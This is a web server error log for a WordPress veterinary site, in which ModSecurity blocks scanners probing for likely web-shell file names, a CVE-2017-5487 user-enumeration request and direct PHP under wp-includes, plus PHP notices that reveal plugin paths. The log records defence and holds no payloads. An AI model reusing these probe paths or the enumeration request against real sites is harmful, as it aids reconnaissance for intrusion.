[Mon Feb 23 01:09:46.324745 2026] [:error] [pid 28425:tid 28516] [client 20.203.249.16:18964] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aZs4WjO7QIkwG1UqFGznswAAAFc"]
[Mon Feb 23 01:09:46.796611 2026] [:error] [pid 28426:tid 28529] [client 20.203.249.16:25487] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aZs4WmgbPVf4pO12NZnOBgAAAIc"]
[Mon Feb 23 01:09:47.270059 2026] [:error] [pid 28558:tid 28580] [client 20.203.249.16:24045] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aZs4WydFHR5e1Gd10vd9RAAAANQ"]
[Mon Feb 23 01:09:47.762998 2026] [:error] [pid 4806:tid 4821] [client 20.203.249.16:26642] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aZs4W_FTHI_ud-cTYbTxgQAAAQ0"]
[Mon Feb 23 01:09:48.233972 2026] [:error] [pid 28424:tid 28452] [client 20.203.249.16:22216] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aZs4XABAZT_BJOxE-Z4n9AAAABg"]
[Mon Feb 23 01:09:48.708447 2026] [:error] [pid 4806:tid 4832] [client 20.203.249.16:20777] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs4XPFTHI_ud-cTYbTxggAAARg"]
[Mon Feb 23 01:09:49.181027 2026] [:error] [pid 4806:tid 4830] [client 20.203.249.16:31234] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs4XfFTHI_ud-cTYbTxhgAAARY"]
[Mon Feb 23 01:09:52.664755 2026] [:error] [pid 4806:tid 4829] [client 20.203.249.16:23946] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs4YPFTHI_ud-cTYbTxkAAAARU"]
[Mon Feb 23 01:09:53.138242 2026] [:error] [pid 4806:tid 4820] [client 20.203.249.16:22895] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aZs4YfFTHI_ud-cTYbTxkwAAAQw"]
[Mon Feb 23 01:09:53.609961 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:22264] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aZs4YfFTHI_ud-cTYbTxlgAAARI"]
[Mon Feb 23 01:09:54.083356 2026] [:error] [pid 4806:tid 4831] [client 20.203.249.16:23992] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aZs4YvFTHI_ud-cTYbTxmAAAARc"]
[Mon Feb 23 01:09:54.554797 2026] [:error] [pid 28426:tid 28525] [client 20.203.249.16:7868] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aZs4YmgbPVf4pO12NZnODgAAAIQ"]
[Mon Feb 23 01:09:56.109565 2026] [:error] [pid 28558:tid 28571] [client 20.203.249.16:26922] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aZs4ZCdFHR5e1Gd10vd9UwAAAMs"]
[Mon Feb 23 01:09:56.582909 2026] [:error] [pid 4806:tid 4808] [client 20.203.249.16:7853] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aZs4ZPFTHI_ud-cTYbTxoAAAAQA"]
[Mon Feb 23 01:09:57.056282 2026] [:error] [pid 28558:tid 28578] [client 20.203.249.16:19263] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aZs4ZSdFHR5e1Gd10vd9VgAAANI"]
[Mon Feb 23 01:09:57.529576 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:5839] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aZs4ZfFTHI_ud-cTYbTxowAAARM"]
[Mon Feb 23 01:09:58.001230 2026] [:error] [pid 28425:tid 28498] [client 20.203.249.16:17738] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aZs4ZTO7QIkwG1UqFGznuAAAAEU"]
[Mon Feb 23 01:09:58.474032 2026] [:error] [pid 28425:tid 28516] [client 20.203.249.16:2024] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZs4ZjO7QIkwG1UqFGznugAAAFc"]
[Mon Feb 23 01:09:58.947569 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:2042] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jsond.php"] [unique_id "aZs4ZvFTHI_ud-cTYbTxpQAAARA"]
[Mon Feb 23 01:09:59.427552 2026] [:error] [pid 28558:tid 28576] [client 20.203.249.16:26904] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jsond.php"] [unique_id "aZs4ZydFHR5e1Gd10vd9XAAAANA"]
[Mon Feb 23 01:09:59.899995 2026] [:error] [pid 28425:tid 28501] [client 20.203.249.16:18947] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jsond.php"] [unique_id "aZs4ZzO7QIkwG1UqFGznwgAAAEg"]
[Mon Feb 23 02:38:51.359043 2026] [:error] [pid 4806:tid 4816] [client 188.54.60.95:51112] [client 188.54.60.95] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aZtNO_FTHI_ud-cTYbQf-wAAAQg"]
[Mon Feb 23 03:48:51.494832 2026] [:error] [pid 52203:tid 52267] [client 43.157.46.118:48176] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZtdo42G7HHSEgnIv4CUkwAAAE4"]
[Mon Feb 23 06:02:42.218644 2026] [proxy_fcgi:error] [pid 2570:tid 2594] (70007)The timeout specified has expired: [client 173.252.83.5:36294] AH01075: Error dispatching request to : (polling)
[Mon Feb 23 07:04:08.879375 2026] [:error] [pid 2826:tid 2831] [client 43.153.58.28:42680] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZuLaD3FWVe0BC2oMiD2AAAAAQI"]
[Mon Feb 23 09:43:10.702218 2026] [:error] [pid 39639:tid 39660] [client 125.75.66.97:47902] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZuwrhpFkMoMi8uTUUMO-gAAAlE"]
[Mon Feb 23 10:37:47.860886 2026] [:error] [pid 39540:tid 39583] [client 145.239.66.34:38364] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZu9e7sgm9aTWhlRScK3mQAAAc4"]
[Mon Feb 23 10:37:50.191552 2026] [:error] [pid 39540:tid 39579] [client 145.239.66.34:42578] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZu9frsgm9aTWhlRScK3nAAAAco"]
[Mon Feb 23 10:37:52.746961 2026] [:error] [pid 39540:tid 39583] [client 145.239.66.34:44756] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZu9gLsgm9aTWhlRScK3pwAAAc4"]
[Mon Feb 23 10:37:55.109001 2026] [:error] [pid 39504:tid 39513] [client 145.239.66.34:44762] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZu9g3LcHpOlI9gwwJrlZwAAAUc"]
[Mon Feb 23 10:37:57.655251 2026] [:error] [pid 25380:tid 25382] [client 145.239.66.34:44768] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZu9haKrc8yFQ8fy78pZlgAAAMA"]
[Mon Feb 23 10:38:00.190811 2026] [:error] [pid 25380:tid 25405] [client 145.239.66.34:44772] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZu9iKKrc8yFQ8fy78pZnAAAANc"]
[Mon Feb 23 10:38:02.739300 2026] [:error] [pid 25293:tid 25302] [client 145.239.66.34:53260] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZu9iuL9XfBf66iHi_eQGQAAAAM"]
[Mon Feb 23 10:38:05.292272 2026] [:error] [pid 25380:tid 25382] [client 145.239.66.34:53270] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZu9jaKrc8yFQ8fy78pZqAAAAMA"]
[Mon Feb 23 10:38:07.838940 2026] [:error] [pid 25380:tid 25390] [client 145.239.66.34:53278] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZu9j6Krc8yFQ8fy78pZqwAAAMg"]
[Mon Feb 23 10:38:10.217211 2026] [:error] [pid 39504:tid 39512] [client 145.239.66.34:53294] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZu9knLcHpOlI9gwwJrleQAAAUY"]
[Mon Feb 23 10:38:12.768967 2026] [:error] [pid 39504:tid 39513] [client 145.239.66.34:50888] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZu9lHLcHpOlI9gwwJrlfQAAAUc"]
[Mon Feb 23 10:38:15.147285 2026] [:error] [pid 25380:tid 25382] [client 145.239.66.34:50898] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZu9l6Krc8yFQ8fy78pZtQAAAMA"]
[Mon Feb 23 10:38:17.670030 2026] [:error] [pid 39640:tid 39694] [client 145.239.66.34:50914] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZu9mdsK--eVCgzvvudPPgAAApg"]
[Mon Feb 23 10:38:20.185600 2026] [:error] [pid 25380:tid 25388] [client 145.239.66.34:50916] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZu9nKKrc8yFQ8fy78pZxAAAAMY"]
[Mon Feb 23 10:38:22.719309 2026] [:error] [pid 25294:tid 25368] [client 145.239.66.34:51922] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZu9niRCFB3CqIo_jfaBEgAAAFE"]
[Mon Feb 23 10:38:25.230223 2026] [:error] [pid 39640:tid 39678] [client 145.239.66.34:51932] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZu9odsK--eVCgzvvudPYAAAAog"]
[Mon Feb 23 10:38:27.620510 2026] [:error] [pid 25380:tid 25382] [client 145.239.66.34:51948] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZu9o6Krc8yFQ8fy78pZ3gAAAMA"]
[Mon Feb 23 10:38:30.130229 2026] [:error] [pid 39640:tid 39678] [client 145.239.66.34:51962] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZu9ptsK--eVCgzvvudPZgAAAog"]
[Mon Feb 23 10:38:32.668459 2026] [:error] [pid 39540:tid 39573] [client 145.239.66.34:48338] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZu9qLsgm9aTWhlRScK37AAAAcQ"]
[Mon Feb 23 10:38:35.168969 2026] [:error] [pid 39504:tid 39520] [client 145.239.66.34:48340] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZu9q3LcHpOlI9gwwJrlhAAAAU4"]
[Mon Feb 23 10:38:37.692733 2026] [:error] [pid 39639:tid 39644] [client 145.239.66.34:48342] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZu9rRpFkMoMi8uTUUMc1QAAAkE"]
[Mon Feb 23 10:38:40.058561 2026] [:error] [pid 39640:tid 39682] [client 145.239.66.34:48352] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZu9sNsK--eVCgzvvudPtwAAAow"]
[Mon Feb 23 10:38:42.578743 2026] [:error] [pid 39640:tid 39671] [client 145.239.66.34:59986] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZu9stsK--eVCgzvvudPwQAAAoE"]
[Mon Feb 23 12:36:40.300065 2026] [proxy_fcgi:error] [pid 25294:tid 25375] [client 103.4.122.14:54732] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Feb 23 12:36:58.510735 2026] [proxy_fcgi:error] [pid 29909:tid 29924] [client 103.4.122.14:54792] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Feb 23 12:37:05.812088 2026] [proxy_fcgi:error] [pid 25294:tid 25356] [client 103.4.122.14:54844] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
